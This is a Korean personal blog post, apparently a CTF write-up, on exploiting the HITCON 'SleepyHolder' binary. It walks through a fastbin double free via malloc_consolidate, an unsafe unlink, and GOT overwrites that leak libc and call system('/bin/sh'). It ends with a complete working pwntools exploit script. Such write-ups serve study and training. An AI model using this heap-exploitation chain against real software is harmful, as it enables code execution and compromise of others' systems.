HanJeouk의 개인공부 블로그

Secret holder에 이어서 Sleept holder를 다시 풀어보았다. malloc_consolidate를 이용해서 푸는 문제였다.

#fast bin 사이즈를 가진 청크를 free 시키고 large 이상의 사이즈를 할당하면 fast bin에 있던 청크가 unsorted bin으로 들어가게 된다. 그리고 다시 free 시켰던 fastbin을 free시키면 double free corruption이 뜨지않고 free가 된다. 왜냐하면 fast bin에 있던 청크가 unsorted bin으로 갔기 때문이다. 이렇게 두번 free시키면 fast bin에도 unsorted bin에도 청크가 위치하게 된다.

####Unlink####

1. small(size=0x28) 할당 

2. big(size=0xFA0) 할당 

3. small free #small이 fast bin에 등록

4. Huge(size=0x61A80) 할당 #fast bin에 있던 small이 unsorted_bin으로 등록, big의 사이즈에 있던 prev_inuse가 사라진다. 이전 청크가 free됐다고 인식하기 때문이다.

5. 다시 small free #small이 다시 fast bin에 등록됨으로써 small은 unsorted bin과 fast bin 전부 등록된다.

6. small 재할당 with fake chunk

fake chunk structure-> [prev_size=0, size=0x21, fd=0x6020D0(전역변수)-0x18, bk=0x6020D0("")-0x10, next_chunk_prevsize= 0x20]

7. big free #전역변수로 unlink 됨.

8. big 할당 #renew를 사용하기 위해서

####LEAK####

9. renew small을 해서 big을 가리키고 있는 포인터를 free_got로 덮음.

10. renew big으로 free_got에 puts_plt를 넣는다. #이제 free를 실행시키면 puts가 실행된다.

11. renew small로 big을 가리키고 있는 포인터를 puts_got로 바꾼다.

12. wipe big을 한다. #free를 puts로 바꿨고 big을 가리키는 포인터를 puts_got로 조작했으니 puts 함수의 주소가 릭이 될 것이다.

####Exploit####

13. renew small로 puts_got로 바꾼 big 포인터를 다시 free_got로 바꾼다. 그리고 small을 가리키는 포인터에

binsh 주소를 넣는다.

14. renew big을 해서 free_got에 system 함수주소를 넣는다. #puts_plt로 덮였었던 free_got가 이번에는 system으로 덮이게 되는 것이다.

15. wipe small을 한다. small을 가리키는 포인터를 아까 binsh 주소로 바꿨으니 binsh주소를 free시킬 것이다. 근데 아까 free를 system으로 덮었기 때문에 free대신 system이 실행되어서 system("/bin/sh")가 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*
p=process("./SleepyHolder")
elf =ELF("./SleepyHolder")
def keep(size,content):
        p.sendafter("3. Renew secret\n","1")
        p.sendafter("forever\n",str(size))
        p.sendafter("secret: \n",content)
 
def keep2(size,content):
        p.sendafter("3. Renew secret\n","1")
        p.sendafter("secret\n",str(size))
        p.sendafter("secret: \n",content)
 
def wipe(idx):
        p.sendafter("3. Renew secret\n","2")
        p.sendafter("2. Big secret\n",str(idx))
 
def renew(idx,content):
        p.sendafter("3. Renew secret\n","3")
        p.sendafter("2. Big secret\n",str(idx))
        p.sendafter("secret: \n",content)
 
 
sleep(0.5)
#### unlink ####
keep(1,"A")
keep(2,"B")
wipe(1)
keep(3,"c")
wipe(1)
keep2(1,p64(0)+p64(0x21)+p64(0x6020d0-0x18)+p64(0x6020d0-0x10)+p64(0x20))
wipe(2)
#### Leak ####
keep2(2,"D")
renew(1,"A"*8+p64(elf.got["free"]))
renew(2,p64(elf.plt["puts"]))
renew(1,"A"*8+p64(elf.got["puts"]))
wipe(2)
puts = u64(p.recv(6)+"\x00\x00")
base = puts-0x6f690
system = base+0x45390
binsh = base+0x18cd57
#### Exploit ####
renew(1,"a"*8+p64(elf.got["free"])+p64(0)+p64(binsh)+p32(1)+p32(1)+p32(1))
renew(2,p64(system))
wipe(1)
p.interactive()
 
cs


'CTF' 카테고리의 다른 글

2017 Codegate Final building_owner  (0) 2018.03.29
2017 Codegate Final petshop  (0) 2018.03.27
2016 Hitcon secret holder [Again]  (0) 2018.03.21
2017 hitcon training zoo  (0) 2018.03.14
2018 N1CTF vote  (0) 2018.03.12